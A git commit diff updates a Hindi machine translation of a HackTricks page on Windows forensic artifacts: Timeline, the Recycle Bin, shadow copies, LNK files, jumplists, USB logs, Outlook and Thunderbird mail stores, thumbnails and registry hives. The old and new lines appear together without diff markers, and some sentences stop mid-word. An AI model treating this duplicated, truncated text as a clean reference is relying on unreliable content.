Translated ['forensics/basic-forensic-methodology/windows-forensics/READ

This commit is contained in:
Translator 2023-12-26 18:12:50 +00:00
parent 6ff51c2a88
commit c2f99df290
3 changed files with 440 additions and 432 deletions

View file

@ -1,97 +1,95 @@
# Windows आर्टिफैक्ट्स
# Windows Artifacts
## Windows आर्टिफैक्ट्स
## Windows Artifacts
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित** हो? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** होना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) या **Twitter पर** मुझे **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **hacktricks repo** और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
</details>
## सामान्य Windows आर्टिफैक्ट्स
## Generic Windows Artifacts
### Windows 10 सूचनाएं
### Windows 10 Notifications
पथ `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` में आपको डेटाबेस `appdb.dat` (Windows anniversary से पहले) या `wpndatabase.db` (Windows Anniversary के बाद) मिलेगा
पथ `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` में आप डेटाबेस `appdb.dat` (Windows anniversary से पहले) या `wpndatabase.db` (Windows Anniversary के बाद) पा सकते हैं
इस SQLite डेटाबेस के अंदर, आप `Notification` टेबल में सभी सूचनाएं (XML प्रारूप में) पाएंगे जो दिलचस्प डेटा समेत हो सकती हैं
इस SQLite डेटाबेस के अंदर, आप `Notification` टेबल में सभी नोटिफिकेशन (XML प्रारूप में) पा सकते हैं जिसमें दिलचस्प डेटा हो सकता है
### टाइमलाइन
### Timeline
टाइमलाइन एक Windows विशेषता है जो वेब पेज, संपादित दस्तावेज़ और चलाए गए एप्लिकेशनों का **कालांतरित इतिहास** प्रदान करता है।
Timeline एक Windows विशेषता है जो वेब पेजों के दौरे, संपादित दस्तावेज़ों, और निष्पादित अनुप्रयोगों का **कालानुक्रमिक इतिहास** प्रदान करती है।
डेटाबेस पथ `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` में स्थित होता है। इस डेटाबेस को एक SQLite टूल या टूल [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) के साथ खोला जा सकता है जो 2 फाइलें उत्पन्न करता है जो टूल [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) के साथ खोली जा सकती हैं।
डेटाबेस पथ `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` में स्थित है। इस डेटाबेस को SQLite टूल के साथ या [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) टूल के साथ खोला जा सकता है **जो 2 फाइलें उत्पन्न करता है जिन्हें [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) टूल के साथ खोला जा सकता है।**
### ADS (वैकल्पिक डेटा स्ट्रीम्स)
### ADS (Alternate Data Streams)
डाउनलोड की गई फ़ाइलों में **ADS Zone.Identifier** हो सकता है जो इसका इंट्रानेट, इंटरनेट आदि से **कैसे** डाउनलोड किया गया था इंडिकेट करता है। कुछ सॉफ्टवेयर (जैसे ब्राउज़र) आमतौर पर **अधिक** **जानकारी** भी डालते हैं जैसे फ़ाइल को कहां से डाउनलोड किया गया था का **URL**
डाउनलोड की गई फाइलें **ADS Zone.Identifier** युक्त हो सकती हैं जो इंगित करती हैं कि फाइल को इंट्रानेट, इंटरनेट, आदि से **कैसे** **डाउनलोड** किया गया था। कुछ सॉफ्टवेयर (जैसे ब्राउज़र) आमतौर पर **और भी** **जानकारी** जोड़ते हैं जैसे कि फाइल कहाँ से डाउनलोड की गई थी उसका **URL**
## **फ़ाइल बैकअप**
## **File Backups**
### रीसायकल बिन
### Recycle Bin
Vista/Win7/Win8/Win10 में **रीसायकल बिन** ड्राइव की जड़ में फोल्डर **`$Recycle.bin`** में पाया जा सकता है (`C:\$Recycle.bin`)\
जब इस फ़ोल्डर में एक फ़ाइल हटाई जाती है तो 2 विशिष्ट फ़ाइलें बनाई जाती हैं:
Vista/Win7/Win8/Win10 में **Recycle Bin** ड्राइव की जड़ में फोल्डर **`$Recycle.bin`** में पाया जा सकता है (`C:\$Recycle.bin`).\
जब इस फोल्डर में एक फाइल को हटाया जाता है तो 2 विशिष्ट फाइलें बनाई जाती हैं:
* `$I{id}`: फ़ाइल की जानकारी (जब यह हटाई गई थी उसकी तारीख}
* `$R{id}`: फाइल की सामग्री
* `$I{id}`: फाइल जानकारी (जब यह हटाया गया था उसकी तारीख)
* `$R{id}`: फाइल की सामग्री
![](<../../../.gitbook/assets/image (486).png>)
इन फ़ाइलों के साथ आप टूल [**Rifiuti**](https://github.com/abelcheung/rifiuti2) का उपयोग करके हटाई गई फ़ाइलों का मूल पता और हटाई गई तारीख प्राप्त कर सकते हैं (Vista - Win10 के लिए `rifiuti-vista.exe` का उपयोग करें)।
इन फाइलों को होने पर आप [**Rifiuti**](https://github.com/abelcheung/rifiuti2) टूल का उपयोग करके हटाए गए फाइलों के मूल पते और हटाने की तारीख प्राप्त कर सकते हैं (Vista Win10 के लिए `rifiuti-vista.exe` का उपयोग करें)।
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### वॉल्यूम शैडो कॉपीज
### वॉल्यूम शैडो कॉपी
शैडो कॉपी एक तकनीक है जो माइक्रोसॉफ्ट विंडोज में शामिल है जो कंप्यूटर फाइलों या वॉल्यूम्स की **बैकअप कॉपीज** या स्नैपशॉट्स बना सकती है, यहां तक कि जब वे इस्तेमाल में हों।
शैडो कॉपी एक तकनीक है जो माइक्रोसॉफ्ट विंडोज में शामिल है और यह कंप्यूटर फ़ाइल या वॉल्यूम की **बैकअप कॉपियां** या स्नैपशॉट बना सकता है, यहां तक कि जब वे उपयोग में हों।
ये बैकअप आमतौर पर फ़ाइल सिस्टम की जड़ में `\System Volume Information` में स्थित होते हैं और उनका नाम निम्नलिखित छवि में दिखाए गए **UIDs** से मिलकर बनता है:
ये बैकअप आमतौर पर फाइल सिस्टम के रूट से `\System Volume Information` में स्थित होते हैं और नाम **UIDs** से बना होता है जैसा कि निम्नलिखित चित्र में दिखाया गया है:
![](<../../../.gitbook/assets/image (520).png>)
फॉरेंसिक्स इमेज को **ArsenalImageMounter** के साथ माउंट करके, टूल [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) का उपयोग एक शैडो कॉपी की जांच और शैडो कॉपी बैकअप से **फ़ाइलें निकालने** के लिए किया जा सकता है।
**ArsenalImageMounter** के साथ फोरेंसिक इमेज को माउंट करने के बाद, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) टूल का उपयोग करके शैडो कॉपी का निरीक्षण किया जा सकता है और यहां तक कि शैडो कॉपी बैकअप्स से **फाइलों को निकाला** जा सकता है।
![](<../../../.gitbook/assets/image (521).png>)
रजिस्ट्री एंट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` में फ़ाइलें और कुंजी **बैकअप न करने** के बारे में जानकारी होती है:
रजिस्ट्री प्रविष्टि `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` में **बैकअप नहीं करने के लिए** फाइलें और कुंजियाँ होती हैं:
![](<../../../.gitbook/assets/image (522).png>)
रजिस्ट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` में भी `वॉल्यूम शैडो कॉपियों` के बारे में कॉन्फ़िगरेशन जानकारी होती है।
रजिस्ट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` में भी `Volume Shadow Copies` के बारे में कॉन्फ़िगरेशन जानकारी होती है।
### ऑफिस ऑटोसेव्ड फ़ाइलें
### ऑफिस ऑटोसेव्ड फाइल्स
आप ऑफिस ऑटोसेव्ड फ़ाइलें यहां पाएंगे: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
आप ऑफिस ऑटोसेव्ड फाइल्स को यहाँ पा सकते हैं: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## शल आइटम्स
## शल आइटम्स
शैल आइटम एक ऐसा आइटम है जिसमें दूसरी फ़ाइल तक पहुंच करने के बारे में जानकारी होती है।
एक शेल आइटम एक ऐसी वस्तु होती है जिसमें दूसरी फाइल तक पहुँचने के लिए जानकारी होती है।
### हाल के दस्तावेज़ (LNK)
विंडोज **स्वचालित रूप से** ये **शॉर्टकट** बनाता है जब उपयोगकर्ता एक फ़ाइल **खोलता है, उपयोग करता है या बनाता है**:
विंडोज **स्वचालित रूप से** ये **शॉर्टकट्स** बनाता है जब उपयोगकर्ता **खोलता है, इस्तेमाल करता है या फाइल बनाता है**:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
जब एक फोल्डर बनाया जाता है, तो एक लिंक फ़ाइल, माता-पिता फ़ोल्डर के लिए एक लिंक और पितामह फ़ोल्डर के लिए भी बनाया जाता है।
जब एक फोल्डर बनाया जाता है, तो उस फोल्डर, माता-पिता फोल्डर, और दादा-दादी फोल्डर का भी लिंक बनाया जाता है।
ये स्वचालित रूप से बनाए गए लिंक फ़ाइलें **मूल के बारे में जानकारी** शामिल करती हैं जैसे कि यह एक **फ़ाइल** है या एक **फ़ोल्डर**, उस फ़ाइल की **MAC** **समय** के बारे में, फ़ाइल को कहां संग्रहीत किया गया है की **जानकारी** और **लक्ष्य फ़ाइल का फ़ोल्डर**। यह जानकारी उन फाइलों को पुनः प्राप्त करने में सहायक हो सकती है जिन्हें हटा दिया गया हो
ये स्वचालित रूप से बनाई गई लिंक फाइलें **मूल के बारे में जानकारी रखती हैं** जैसे कि यह एक **फाइल** है **या** एक **फोल्डर**, **MAC** **समय** उस फाइल का, **वॉल्यूम जानकारी** जहाँ फाइल संग्रहीत है और **लक्ष्य फाइल का फोल्डर**। यह जानकारी उन फाइलों को पुनः प्राप्त करने में उपयोगी हो सकती है यदि वे हटा दी गई हों
इसके अलावा, लिंक फ़ाइल की **निर्माण तिथि** मूल फ़ाइल का **पहला समय** होती है और लिंक फ़ाइल की **संशोधित तिथि** मूल फ़ाइल का **अंतिम समय** होती है।
साथ ही, लिंक फाइल की **बनाई गई तारीख** मूल फाइल की **पहली बार** **इस्तेमाल की गई** तारीख है और लिंक फाइल की **संशोधित तारीख** मूल फाइल की आखिरी बार इस्तेमाल की गई तारीख है।
इन फ़ाइलों की जांच करने के लिए आप [**LinkParser**](http://4discovery.com/our-tools/) का उपयोग कर सकते हैं।
इन फाइलों का निरीक्षण करने के लिए आप [**LinkParser**](http://4discovery.com/our-tools/) का उपयोग कर सकते हैं।
इस टूल में आपको **2 सेट** के टाइमस्टैंप मिलेंगे:
इस टूल में आपको **2 सेट** समयसीमा मिलेगी:
* **पहला सेट:**
1. FileModifiedDate
@ -102,169 +100,156 @@ Vista/Win7/Win8/Win10 में **रीसायकल बिन** ड्रा
2. LinkAccessDate
3. LinkCreationDate.
पहला सेट टाइमस्टैंप **फ़ाइल इसल्फ़ के टाइमस्टैंप** को संदर्भित करता है। दूसरा सेट लिंक फ़ाइल के टाइमस्टैंप को संदर्भित करता है
पहला सेट समयसीमा **फाइल स्वयं के समयसीमा का संदर्भ देता है**। दूसरा सेट **लिंक की गई फाइल के समयसीमा का संदर्भ देता है**
आप विंडोज CLI टूल चलाकर भी यही जानकारी प्राप्त कर सकते हैं: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
आप विंडोज CLI टूल का उपयोग करके भी समान जानकारी प्राप्त कर सकते हैं: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
इस मामले में, जानकारी CSV फ़ाइल में सहेजी जाएगी।
### Jumplists
### जम्पलिस्ट्स
ये वे हाल की फाइलें हैं जो प्रत्येक एप्लिकेशन के लिए इंगित की जाती हैं। यह **एप्लिकेशन द्वारा इस्तेमाल की गई हाल की फाइलों की सूची** है जिसे आप प्रत्येक एप्लिकेशन पर एक्सेस कर सकते हैं। ये **स्वचालित रूप से बनाई जा सकती हैं या कस्टम** हो सकती हैं।
ये हाल ही में फ़ाइलें हैं जो प्रति एप्लिकेशन द्वारा दर्शाई जाती हैं। यह एक ऐसी सूची है जिसमें आप प्रत्येक एप्लिकेशन पर पहुंच सकते हैं। ये आपके द्वारा बनाए जा सकते हैं या कस्टम भी हो सकते हैं
स्वचालित रूप से बनाई गई **jumplists** `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहीत की जाती हैं। Jumplists का नाम `{id}.autmaticDestinations-ms` प्रारूप का अनुसरण करते हुए रखा जाता है जहां प्रारंभिक ID एप्लिकेशन की ID होती है
ऑटोमेटिक रूप से बनाए गए जम्पलिस्ट्स `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहीत होते हैं। जम्पलिस्ट्स का नाम `{id}.autmaticDestinations-ms` नामकरण प्रारूप का होता है जहां प्रारंभिक आईडी एप्लिकेशन की आईडी होती है।
कस्टम jumplists `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहीत की जाती हैं और ये आमतौर पर एप्लिकेशन द्वारा बनाई जाती हैं क्योंकि फाइल के साथ कुछ **महत्वपूर्ण** हुआ होता है (शायद पसंदीदा के रूप में चिह्नित)
स्टम जम्पलिस्ट्स `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहीत होते हैं और ये आमतौर पर एप्लिकेशन द्वारा बनाए जाते हैं क्योंकि फ़ाइल के साथ कुछ महत्वपूर्ण घटना हुई है (शायद पसंदीदा के रूप में चिह्नित किया गया हो)
िसी भी jumplist का **निर्मित समय** इंगित करता है **पहली बार फाइल को एक्सेस किया गया था** और **संशोधित समय अंतिम बार**
किसी भी जम्पलिस्ट का **निर्माण समय** फ़ाइल का **पहली बार पहुंच करने का समय दर्शाता है** और **संशोधित समय अंतिम बार** दर्शाता है
आप [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) का उपयोग करके jumplists का निरीक्षण कर सकते हैं
आप [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) का उपयोग करके जम्पलिस्ट्स की जांच कर सकते हैं।
(_ध्यान दें कि JumplistExplorer द्वारा प्रदान किए गए समयांक jumplist फाइल स्वयं से संबंधित हैं_)
![](<../../../.gitbook/assets/image (474).png>)
### Shellbags
(_ध्यान दें कि JumplistExplorer द्वारा प्रदान की गई टाइमस्टैम्प जम्पलिस्ट फ़ाइल से संबंधित हैं_)
[**इस लिंक का अनुसरण करें जानने के लिए कि shellbags क्या हैं।**](interesting-windows-registry-keys.md#shellbags)
### शेलबैग्स
## Windows USBs का उपयोग
[**शेलबैग्स क्या होते हैं इसे जानने के लिए इस लिंक पर क्लिक करें।**](interesting-windows-registry-keys.md#shellbags)
यह संभव है कि एक USB डिवाइस के उपयोग की पहचान की जा सकती है निम्नलिखित के निर्माण के लिए धन्यवाद:
## Windows USB का उपयोग
* Windows Recent Folder
* Microsoft Office Recent Folder
* Jumplists
USB डिवाइस का उपयोग हुआ है इसकी पहचान करना संभव है धन्यवाद:
ध्यान दें कि कुछ LNK फाइल के बजाय मूल पथ की ओर इंगित करने के लिए, WPDNSE फोल्डर की ओर इंगित करती है:
* Windows हाल की फ़ोल्डर
* Microsoft Office हाल की फ़ोल्डर
* जम्पलिस्ट्स
### Registry Information
ध्यान दें कि कुछ LNK फ़ाइल मूल पथ की बजाय WPDNSE फ़ोल्डर को पॉइंट करती हैं:
![](<../../../.gitbook/assets/image (476).png>)
WPDNSE फ़ोल्डर में फ़ाइलें मूल वाली की कॉपी होती हैं, फिर यह PC को रीस्टार्ट करने पर बच नहीं सकती हैं और GUID एक शेलबैग से लिया जाता है।
### रजिस्ट्री सूचना
यूएसबी कनेक्टेड डिवाइस के बारे में दिलचस्प जानकारी कौन सी रजिस्ट्री कुंजी में होती है, इसे जानने के लिए इस पेज की जांच करें। (interesting-windows-registry-keys.md#usb-information)
[इस पृष्ठ की जांच करें](interesting-windows-registry-keys.md#usb-information) जो रजिस्ट्री कुंजियाँ USB से जुड़े उपकरणों के बारे में दिलचस्प जानकारी रखती हैं।
### setupapi
USB कनेक्शन किस समय हुआ है इसके टाइमस्टैम्प प्राप्त करने के लिए फ़ाइल `C:\Windows\inf\setupapi.dev.log` की जांच करें (खोज करें `Section start` के लिए)।
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
फाइल `C:\Windows\inf\setupapi.dev.log` की जांच करें USB कनेक्शन के बारे में समयांक प्राप्त करने के लिए (खोज के लिए `Section start`).
### USB Detective
[**USBDetective**](https://usbdetective.com) का उपयोग करके एक इमेज में कनेक्ट किए गए USB डिवाइस के बारे में जानकारी प्राप्त की जा सकती है।
[**USBDetective**](https://usbdetective.com) का उपयोग करके उन USB उपकरणों के बारे में जानकारी प्राप्त की जा सकती है जो एक इमेज से जुड़े हुए हैं।
![](<../../../.gitbook/assets/image (483).png>)
### Plug and Play Cleanup
### प्लग और प्ले सफाई
'Plug and Play Cleanup' निर्धारित कार्य ड्राइवरों के पुराने संस्करणों को **साफ** करने के लिए जिम्मेदार है। यह प्रतीत होता है (ऑनलाइन रिपोर्टों के आधार पर) कि यह **30 दिनों में इस्तेमाल नहीं किए गए ड्राइवरों को भी उठाता है**, इसके विवरण के बावजूद जो कहता है कि "प्रत्येक ड्राइवर पैकेज का सबसे वर्तमान संस्करण रखा जाएगा"। इस प्रकार, **30 दिनों के लिए जुड़े नहीं गए हटाने योग्य उपकरणों के ड्राइवरों को हटाया जा सकता है**
निर्धारित कार्य स्वयं 'C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup' पर स्थित है, और इसकी सामग्री नीचे प्रदर्शित की गई है:
### Emails
ईमेल में **2 दिलचस्प भाग होते हैं: हेडर्स और ईमेल की सामग्री****हेडर्स** में आप जानकारी पा सकते हैं जैसे:
* **किसने** ईमेल भेजे (ईमेल पता, IP, मेल सर्वर जिन्होंने ईमेल को रीडायरेक्ट किया)
* **कब** ईमेल भेजा गया था
साथ ही, `References` और `In-Reply-To` हेडर्स में आप संदेशों की ID पा सकते हैं:
### Windows Mail App
यह एप्लिकेशन ईमेल को HTML या टेक्स्ट में सेव करता है। आप `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` के अंदर सबफोल्डर्स में ईमेल पा सकते हैं। ईमेल `.dat` एक्सटेंशन के साथ सेव किए जाते हैं।
ईमेल की **मेटाडेटा** और **संपर्क** **EDB डेटाबेस** के अंदर पाए जा सकते हैं: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**फाइल के एक्सटेंशन को बदलें** `.vol` से `.edb` में और आप [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) टूल का उपयोग करके इसे खोल सकते हैं। `Message` टेबल के अंदर आप ईमेल देख सकते हैं।
### Microsoft Outlook
जब Exchange सर्वर या Outlook क्लाइंट्स का उपयोग किया जाता है तो कुछ MAPI हेडर्स होंगे:
* `Mapi-Client-Submit-Time`: सिस्टम का समय जब ईमेल भेजा गया था
* `Mapi-Conversation-Index`: थ्रेड के बच्चों के संदेशों की संख्या और थ्रेड के प्रत्येक संदेश का समयांक
* `Mapi-Entry-ID`: संदेश पहचानकर्ता।
* `Mappi-Message-Flags` और `Pr_last_Verb-Executed`: MAPI क्लाइंट के बारे में जानकारी (संदेश पढ़ा गया? नहीं पढ़ा गया? जवाब दिया गया? रीडायरेक्ट किया गया? ऑफिस से बाहर?)
Microsoft Outlook क्लाइंट में, सभी भेजे/प्राप्त संदेश, संपर्क डेटा, और कैलेंडर डेटा एक PST फाइल में संग्रहीत किए जाते हैं:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
रजिस्ट्री पथ `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` इंगित करता है कि कौन सी फाइल इस्तेमाल की जा रही है।
आप [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) टूल का उपयोग करके PST फाइल को खोल सकते हैं।
'प्लग और प्ले सफाई' निर्धारित कार्य के लिए जिम्मेदार है जो लेगेस संस्करणों को साफ़ करता है। यह ऐसा दिखाई देता है (ऑनलाइन रिपोर्टों के आधार पर) कि यह 30 दिनों से अधिक समय तक उपयोग नहीं हुए ड्राइवर्स को भी हटा लेता है, हालांकि इसकी विवरण में यह कहा गया है कि "प्रत्येक ड्राइवर पैकेज का सबसे नवीनतम संस्करण संग्रहित रखा जाएगा"। इस प्रकार, 30 दिनों से अधिक समय तक कनेक्ट नहीं हुए हटाने वाले उपकरणों के ड्राइवर हटा दिए
### Outlook OST
जब Microsoft Outlook को **IMAP** या **Exchange** सर्वर का उपयोग करके कॉन्फ़िगर किया जाता है, तो यह एक **OST** फ़ाइल उत्पन्न करता है जो PST फ़ाइल की तरहीं जानकारी संग्रहित करती है। यह फ़ाइल सर्वर के साथ **पिछले 12 महीनों** के लिए सिंक्रनाइज़ की जाती है, **50GB** की **अधिकतम फ़ाइल आकार** रखती है और **PST** फ़ाइल के साथ **एक ही फ़ोल्डर में** सहेजी जाती है। आप [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) का उपयोग करके इस फ़ाइल की जांच कर सकते हैं।
जब Microsoft Outlook को **IMAP** का उपयोग करके या एक **Exchange** सर्वर का उपयोग करके कॉन्फ़िगर किया जाता है, तो यह एक **OST** फाइल उत्पन्न करता है जो लगभग वही जानकारी PST फाइल के रूप में संग्रहीत करता है। यह फाइल सर्वर के साथ **पिछले 12 महीनों** के लिए सिंक्रनाइज़ रखती है, एक **अधिकतम फाइल-आकार 50GB** के साथ और **वही फोल्डर में जहां PST** फाइल सेव की जाती है। आप इस फाइल का निरीक्षण [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) का उपयोग करके कर सकते हैं।
### अटैचमेंट की पुनर्प्राप्ति
### Recovering Attachments
आप उन्हें निम्नलिखित फ़ोल्डर में ढूंढ़ सकते हैं:
आप उन्हें फोल्डर में पा सकते हैं:
* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10
* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+
### Thunderbird MBOX
**Thunderbird** जानकारी को **MBOX** **फ़ाइलों** में `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` फ़ोल्डर में संग्रहीत करता है।
**Thunderbird** जानकारी को **MBOX** **फाइलों** में संग्रहीत करता है फोल्डर `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` में।
## थंबनेल
## Thumbnails
जब एक उपयोगकर्ता एक फ़ोल्डर तक पहुंचता है और उसे थंबनेल का उपयोग करके संगठित करता है, तो एक `thumbs.db` फ़ाइल बनाई जाती है। यह डीबी **फ़ोल्डर की छवियों के थंबनेल** को संग्रहीत करती है, यदि वे हटा दिए जाते हैं तो भी। WinXP और Win 8-8.1 में यह फ़ाइल स्वचालित रूप से बनाई जाती है। Win7/Win10 में, यह स्वचालित रूप से बनाई जाती है अगर इसे UNC पथ (\IP\folder...) के माध्यम से एक्सेस किया जाता है।
आप [**Thumbsviewer**](https://thumbsviewer.github.io) उपकरण का उपयोग करके इस फ़ाइल को पढ़ सकते हैं।
### Thumbcache
Windows Vista के साथ शुरू होकर, **थंबनेल पूर्वावलोकन सांकेतिक स्थान पर संग्रहीत होते हैं**। इससे सिस्टम को उनके स्थान के अनुभव के बिना छवियों तक पहुंच मिलती है और Thumbs.db फ़ाइलों की स्थानीयता समस्याओं को सुलझाता है। कैश **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** में कई फ़ाइलें होती हैं जिनका नामकरण **thumbcache\_xxx.db** (आकार के अनुसार संख्याबद्ध); साथ ही हर आकार के डेटाबेस में थंबनेल ढूंढ़ने के लिए एक सूचकांक भी होता है।
* Thumbcache\_32.db -> छोटा
* Thumbcache\_96.db -> मध्यम
* Thumbcache\_256.db -> बड़ा
* Thumbcache\_1024.db -> अतिरिक्त बड़ा
आप [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) उपकरण का उपयोग करके इस फ़ाइल को पढ़ सकते हैं।
## Windows रजिस्ट्री
Windows रजिस्ट्री में **सिस्टम और उपयोगकर्ताओं के कार्यों** के बारे में बहुत सारी **जानकारी** होती है।
रजिस्ट्री संबंधी फ़ाइलें निम्नलिखित स्थानों पर स्थित होती हैं:
* %windir%\System32\Config\*_SAM\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_SECURITY\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_SYSTEM\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_SOFTWARE\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE`
* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER`
Windows Vista और Windows 2008 Server से ऊपर, `HKEY_LOCAL_MACHINE` रजिस्ट्री फ़ाइलों की कुछ बैकअप **`%Windir%\System32\Config\RegBack\`** में होती है।
इन संस्करणों से, रजिस्ट्री फ़ाइल **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** बनाई जाती है जो कार्यक्रम के निष्पादन के बारे में जानकारी संग्रहित करती है।
### उपयोगी उपकरण
रजिस्ट्री फ़ाइलों का विश्लेषण करने के लिए कुछ उपयोगी उपकरण हैं:
* **रजिस्ट्री संपादक**: यह Windows में स्थापित होता है। यह वर्तमान सत्र के Windows रजिस्ट्री में नेविगेट करने के लिए एक GUI है।
* [**रजिस्ट्री एक्सप्लोरर**](https://ericzimmerman.github.io/#!index.md): यह आपको रजिस्ट्री फ़ाइल लोड करने और उन्हें एक GUI के साथ नेविगेट करने की अनुमति देता है। यह रजिस्ट्री में दिलचस्प जानकारी वाले कुंजीयों को हाइलाइट करन
जब एक उपयोगकर्ता किसी फोल्डर तक पहुंचता है और इसे थंबनेल्स का उपयोग करके व्यवस्थित करता है, तो एक `thumbs.db` फाइल बनाई जाती है। यह db **फोल्डर की छवियों के थंबनेल्स को संग्रहीत करता है** यहां तक कि अगर वे हटा दिए जाते हैं। WinXP और Win 8-8.1 में यह फाइल स्वचालित रूप से बनाई जाती है। Win7/Win10 में, यह स्वचालित रूप से बनाई जाती है अगर यह UNC पथ (\IP\folder...) के माध्यम स
```bash
